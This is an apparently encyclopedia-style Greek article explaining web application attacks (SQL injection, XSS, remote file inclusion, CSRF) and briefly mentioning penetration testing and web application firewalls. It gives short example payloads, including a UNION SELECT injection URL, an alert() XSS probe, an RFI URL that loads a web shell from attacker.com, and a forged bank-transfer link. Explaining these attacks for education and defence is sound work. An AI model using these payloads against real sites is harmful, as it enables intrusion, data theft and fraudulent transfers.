Ευπάθειες διαδικτυακών εφαρμογών

Οι διαδικτυακές εφαρμογές έχουν κάποιες ευπάθειες τις οποίες εκμεταλλεύονται οι hackers για να επιτύχουν πρόσβαση στους υπολογιστές που αυτές εκτελούνται. Όταν εντοπιστεί μία ευπάθεια κάποιας εφαρμογής, τότε δημιουργείται ένα πρόγραμμα το οποίο ονομάζεται exploit που μπορεί να εκμεταλλευτεί τις ευπάθειες αυτές. Τα exploits μπορούν να χρησιμοποιηθούν σε κάποιον χρήστη ή ακόμη κι από τον ίδιο τον server μέσω του οποίου μπορούν να συλλέξουν πληροφορίες, να αλλοιωθούν τα δεδομένα ή και να κάνουν επιθέσεις άρνησης υπηρεσιών (Denial-of-service, DoS) έτσι ώστε να μην μπορεί κάποιος να συνδεθεί στον server.

 SQL injection είναι μία επίθεση που επιτρέπει στον hacker να αλλάξει ό,τι θέλει στην βάση δεδομένων ή και να πάρει πληροφορίες. Αυτό γίνεται με το να δώσει σε κάποια σελίδα login ή γενικότερα δυναμικού περιεχομένου (όπως μια σελίδα PHP) δεδομένα που θα οδηγήσουν στην εκτέλεση των αντίστοιχων εντολών SQL. Ακολουθεί ένα παράδειγμα SQL injection για την ανάκτηση πληροφοριών: http://www.victim.com/index.php?id=-45 union all select 1,2,3,4 from database Η επίθεση XSS γίνεται όταν ο hacker χρησιμοποιεί μία διαδικτυακή εφαρμογή για να στείλει κακόβουλο κώδικα (σε μορφή javascript) σε έναν άλλο χρήστη μέσω του server. Η επίθεση αυτή μπορεί να χρησιμοποιηθεί σε οποιοδήποτε φόρμα του server με την προϋπόθεση ότι δεν κωδικοποιούνται τα δεδομένα που στέλνονται και ταυτόχρονα δεν γίνεται έλεγχος για κακόβουλο κώδικα από τον server. Μόλις λάβει ο χρήστης τον κώδικα αυτόν, ο browser δεν έχει τρόπο να καταλάβει ότι είναι κακόβουλος και έτσι τον τρέχει. Επειδή ο κώδικας προέρχεται από έμπιστη πηγή, μπορεί να έχει πρόσβαση σε cookies, session tokens, ή άλλες ευαίσθητες πληροφορίες του χρήστη. Παράδειγμα: Στην αρχή ο hacker πρέπει να ελέγξει αν η σελίδα είναι ευπαθής σε XSS επιθέσεις και αυτό το κάνει με ένα απλό σενάριο (script) που δείχνει ένα παράθυρο μηνύματος (alert). <script>alert("XSS!");</script> Αν βρει ότι είναι ευπαθής σε XSS επιθέσεις, φτιάχνει ένα script και το ανεβάζει στον server σε τέτοιο σημείο ώστε όταν το θύμα συνδεθεί στον server να τρέξει το script. Το RFI είναι μία τακτική με την οποία στέλνεται κώδικας από απομακρυσμένο σημείο σε κάποια τοπική εφαρμογή. Όταν ένας χρήστης εισάγει δεδομένα σε μία φόρμα, αυτά αποθηκεύονται σε ένα αρχείο, το οποίο γίνεται include σε ένα πρόγραμμα για να μπορεί να ανακτηθεί μετά. Σε αυτό το σημείο ο hacker μπορεί να μπερδέψει το πρόγραμμα και να βάλει έναν δικό του κώδικα από κάποιον απομακρυσμένο προορισμό. Σχεδόν όλες οι web εφαρμογές υποστηρίζουν include για να αποθηκεύει απλό κώδικα έτσι ώστε να μπορεί να καλεστεί όποτε χρειάζεται. Όταν αυτός ο κώδικας χρησιμοποιείται για HTTP requests, τότε συμπεραίνουμε ότι είναι ευπαθής σε RFI. Υπάρχουν δύο τρόποι με τους οποίους μπορεί να χρησιμοποιηθεί το RFI: Να τρέξει ο κώδικας στον server. Με αυτόν μπορεί ο hacker να έχει πλήρη πρόσβαση στον server έτσι ώστε να συλλέξει πληροφορίες και να τροποποιήσει ό,τι επιθυμεί. Να τρέξει ο κώδικας στον client, με την μορφή javascript και να αλλάξει τον τρόπο που επικοινωνεί ο server με τον client. Μπορεί επίσης να κλέψει ο hacker τα cookies του χρήστη.Η γλώσσα που χρησιμοποιείται συνήθως είναι η PHP γιατί κάνει πολλά αρχεία include, κι επομένως η διαδικασία διευκολύνεται πολύ. Μία πολύ συνηθισμένη επίθεση είναι η εξής: http://www.target.com/vuln_page.php?color=http://www.attacker.com/webshell.txt? σε αυτή την περίπτωση έχουμε το webshell.txt που το τρέχουμε στην σελίδα http://www.target.com/vuln_page.php. Το webshell.txt είναι ένα αρχείο php με κακόβουλο κώδικα. Μπορούν να χρησιμοποιηθούν και άλλοι μέθοδοι για να εκτελεστεί κάποιος κακόβουλος κώδικας στον server και αυτό γίνεται κυρίως μέσω των εντολών PHP. Το CSRF είναι επίθεση που αναγκάζει τον τελικό χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια εφαρμογή δικτύου στην οποία είναι πιστοποιημένος. Στέλνοντας κάποιον σύνδεσμο (μέσω email/chat), ο hacker μπορεί να αναγκάσει τους χρήστες να εκτελέσουν ενέργειες που που έχει επιλέξει. Αυτό γίνεται εφικτό από τον τρόπο που λειτουργίας και εκτέλεσης των αιτημάτων των χρηστών. Στην αρχή εκτελείται μια συναλλαγή στο δίκτυο από μία τράπεζα και συλλέγονται τα δεδομένα: http://bank.com/transfer.do?acct=BOB&amount=100 Από αυτό καταλαβαίνουμε ότι στέλνονται στον BOB 100€. Το αλλάζουμε σε http://bank.com/transfer.do?acct=BILLY&amount=1000 και έτσι αποστέλλονται 1000€ στον BILLY. Ο hacker μπορεί να στείλει τον σύνδεσμο στο θύμα και έτσι κάθε φορά που κάποιος πατάει τον σύνδεσμο, ο BILLY θα έχει 1000€ παραπάνω στον λογαριασμό του. Οι ευπάθειες (exploits) υπάρχουν σε κάθε εφαρμογή - ορισμένοι hackers μάλιστα πληρώνονται από εταιρίες για να εντοπίσουν αυτές ακριβώς τις ευπάθειες στους εταιρικούς server. Αυτή η εργασία μπορεί να βοηθήσει τις εταιρίες να προστατευθούν καλύτερα από κακόβουλες επιθέσεις hacker (οι οποίοι ονομάζονται κράκερ, αγγλ. cracker, βλ. Χάκερ). Η δουλειά των hacker είναι να κάνουν Penetration Testing, να προσπαθούν δηλαδή με διάφορους τρόπους να πάρουν πρόσβαση στον server. Εφόσον το καταφέρουν, δίνουν αναλυτική αναφορά με τα πεπραγμένα τους έτσι ώστε να μπορεί η εταιρία να ασφαλίσει καλύτερα τον server του. Για να προστατευτεί ο server από τέτοιες επιθέσεις υπάρχουν τα τείχη προστασίας διαδικτυακών εφαρμογών (Web Application Firewall, WAF), που δίνουν μια ολοκληρωμένη λύση για όλες τις γνωστές επιθέσεις που υπάρχουν. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion https://web.archive.org/web/20120120165117/https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 https://web.archive.org/web/20120311021518/http://www.techweekeurope.co.uk/comment/why-selling-exploits-is-a-good-idea-9655 https://web.archive.org/web/20111007192354/https://www.trustwave.com/spiderLabs.php